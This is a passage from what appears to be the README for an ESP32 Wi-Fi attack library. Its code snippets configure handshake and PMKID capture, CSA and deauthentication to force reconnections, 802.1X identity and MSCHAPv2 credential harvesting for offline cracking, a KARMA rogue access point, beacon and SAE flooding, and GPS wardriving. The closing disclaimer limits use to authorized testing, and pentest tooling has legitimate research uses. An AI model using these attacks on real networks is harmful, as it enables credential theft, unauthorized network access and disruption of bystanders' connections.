Compile-time tuning:
#define POLITICIAN_SENSE_MAX_WINDOW 128 // raise maximum window depth (default: 64)Tuning guide:
| Symptom | Fix |
|---|---|
| False triggers in an empty room | Raise setThreshold() |
| Real motion not detected | Lower setThreshold() or widen setWindowSize() |
| MOTION held too long after person leaves | Lower setDebounce() |
| Sparse samples / choppy data | Call engine.lockChannel(anchorCh) to stop hopping |
| Flat variance regardless of movement | Move anchor AP closer or choose a less-obstructed path |
PoliticianSenserequiresstd::functionsupport. Do not combine withPOLITICIAN_NO_STD_FUNCTION.
cfg.capture_filter |= LOG_FILTER_BEACONSmust be set beforeengine.begin(). PoliticianSense only samples beacon frames; without this flag no data is collected. The "SDMMC ONLY!" warning inPoliticianTypes.happlies to high-volume SD logging — in-memory callbacks are unaffected.
sense.setPacketLogger()must be called beforesense.begin()if you need raw frame access alongside sensing. Setting it afterbegin()is a data race with the engine worker task.
engine.forEachAp([](const ApRecord &ap, void *) {
Serial.printf("%s beacons=%lu captures=%u\n", ap.ssid, (unsigned long)ap.beacon_count, ap.capture_count);
}, nullptr);
engine.setClientFoundCallback([](const ClientRecord &rec) {
Serial.printf("STA %02X:%02X:%02X:%02X:%02X:%02X rand=%d vendor=%s\n",
rec.sta[0], rec.sta[1], rec.sta[2], rec.sta[3], rec.sta[4], rec.sta[5],
rec.rand_mac, rec.vendor);
});engine.setTargetScoreCallback([](const ApRecord &ap, const char *vendor) -> int {
int score = ap.rssi;
if (strstr(vendor, "Apple")) score += 50;
if (strstr(vendor, "Hikvision")) score += 80;
if (ap.is_hidden) score -= 100;
return score;
});
engine.setAutoTarget(true);
engine.startHopping();uint8_t sensitive_ap[6] = { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF };
engine.setAttackMaskForBssid(sensitive_ap, ATTACK_PASSIVE); // passive-only for this AP
engine.setAttackMaskForSsid("CorpWiFi", ATTACK_PASSIVE);
engine.setAttackMaskForSsid("Guest", ATTACK_PMKID | ATTACK_PASSIVE, true); // substring match
engine.setAttackMask(ATTACK_ALL); // global default unchanged// CSA first; fallback to Deauth halfway through csa_wait_ms if no capture (default)
engine.setDisconnectionStrategy(STRATEGY_AUTO_FALLBACK);
// CSA and Deauth simultaneously (legacy behavior)
engine.setDisconnectionStrategy(STRATEGY_SIMULTANEOUS);When cfg.capture_half_handshakes = true, M2-only captures fire the EAPOL callback with type = CAP_EAPOL_HALF, then the engine immediately launches CSA/Deauth to force a fresh 4-way handshake. HandshakeRecord.cipher is also populated from the cached RSN pairwise suite so offline tooling can distinguish TKIP vs CCMP captures.
uint8_t hottest[8];
uint8_t n = engine.getChannelsSortedByActivity(hottest, 8);
if (n) engine.setAutoChannelList(n);This is useful after a warm-up scan when you want hopping restricted to the busiest channels only.
ApRecord.ft_capable is set when FT-PSK (suite type 4) or FT-EAP (suite type 3) AKMs are detected. For FT-only APs, save the PCAPNG capture and use hcxpcapngtool --enable_ft for offline cracking.
engine.setIdentityCallback([](const EapIdentityRecord &rec) {
Serial.printf("[802.1X] %s method=%u\n", rec.identity, rec.eap_method);
EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
});
Config cfg;
cfg.hop_dwell_ms = 800; // longer dwell gives EAP exchanges time to complete
engine.begin(cfg);#include <TinyGPS++.h>
TinyGPSPlus gps;
engine.setApFoundCallback([&](const ApRecord &ap) {
if (gps.location.isValid())
WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap,
gps.location.lat(), gps.location.lng());
});engine.setTargetFilter([](const ApRecord &ap) -> bool {
if (ap.rssi < -70) return false; // too weak
if (ap.enc < 2) return false; // skip Open/WEP
if (ap.pmf_required) return false; // skip pure WPA3
return true;
});PcapngFileLogger raw;
raw.open(SD, "/intel.pcapng");
engine.setPacketLogger([&](const uint8_t *data, uint16_t len, int8_t rssi, uint8_t ch, uint32_t ts) {
raw.writePacket(data, len, rssi, ch, ts);
});| Concern | Guidance |
|---|---|
| SD writes | Use streaming open/write/close — never one-shot in a tight loop |
| Beacon logging | LOG_FILTER_BEACONS generates 500+ writes/s — requires SDMMC (4-bit DMA) |
| Enterprise capture | Set hop_dwell_ms = 800–1200 to not cut off EAP exchanges mid-flight |
| Flash size | Use feature gates (POLITICIAN_NO_DB, etc.) to trim binary on tight builds |
| RAM | Core engine ~45KB. Storage helpers and callbacks are opt-in |
| 5GHz | channel_frames[200] covers all channels; use setChannelBands(false, true) to hop 5GHz only |
- Platform: ESP32, ESP32-S2, ESP32-S3, ESP32-C3
- Framework: Arduino or ESP-IDF (storage helpers are Arduino-only)
- Flash: 4MB minimum recommended
- Optional: SD card module for persistent logging; GPS module for Wigle integration
No handshakes captured
- Try
ATTACK_ALLfor maximum aggression - Increase
hop_dwell_msfor slow-reconnecting devices - Check
skip_immune_networks— pure WPA3 APs are auto-skipped by default
Enterprise identities not captured
- Increase
hop_dwell_msto 800-1200ms - Use
ATTACK_PASSIVEorATTACK_STIMULATEonly — aggressive attacks disrupt EAP exchanges
WPS / MSCHAPv2 callbacks never fire
- WPS requires a WPS Enrollee actively associating during capture
- MSCHAPv2 only fires against bare (no-tunnel) EAP-MSCHAPv2 — rare in modern deployments
- Verify the callback is registered before
begin()
SD card writes fail
- Confirm
SD.begin()succeeds before any logger call - Disable
LOG_FILTER_BEACONSif using SPI SD — use SDMMC for high-volume logging
using namespace politician::stress;
beaconFlood(ssids, ssidCount, 6, 5000);PoliticianStress.h now exposes beacon flood generation alongside SAE commit flooding and probe flood helpers.
| Example | Description |
|---|---|
AutonomousHunter |
Score-based auto-targeting with fingerprinting |
AutoEnterpriseHunter |
Automatic enterprise network targeting |
DeviceFingerprinting |
Passive IoT/consumer brand identification |
TargetedAuditing |
Network filtering and callbacks |
EnterpriseAuditing |
802.1X identity harvesting |
StorageAndNVS |
Streaming PCAPNG logging and NVS persistence |
WigleIntegration |
GPS wardriving with Wigle CSV export |
ExportFormats |
PCAPNG capture and HC22000 text export |
DynamicControl |
Runtime attack mode switching |
FuzzingAndInjection |
Custom frame injection and fuzzing |
SerialStreaming |
Real-time packet streaming |
StressTest |
Performance and memory testing |
BtmSteering |
802.11v BTM Request injection + PMKID combination |
WpsCapture |
Passive WPS M1 device fingerprint harvesting |
MsChapCapture |
Bare EAP-MSCHAPv2 credential capture (hashcat -m 5500) |
KarmaResponder |
KARMA rogue AP responder with runtime Serial toggle |
PassiveSensing |
RSSI-based human presence and motion detection |
This library is intended for:
- ✅ Authorized penetration testing
- ✅ Security research in controlled environments
- ✅ Educational purposes with permission
- ✅ Auditing your own networks
Unauthorized access to networks you do not own or have permission to test is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
The authors and contributors assume no liability for misuse of this software.
Contributions are welcome! Fork the repository, create a feature branch, add tests/examples for new features, and submit a pull request.
MIT License — see LICENSE for details.
Special thanks to justcallmekoko for inspiring this project and the broader hardware hacking community through the ESP32 Marauder project.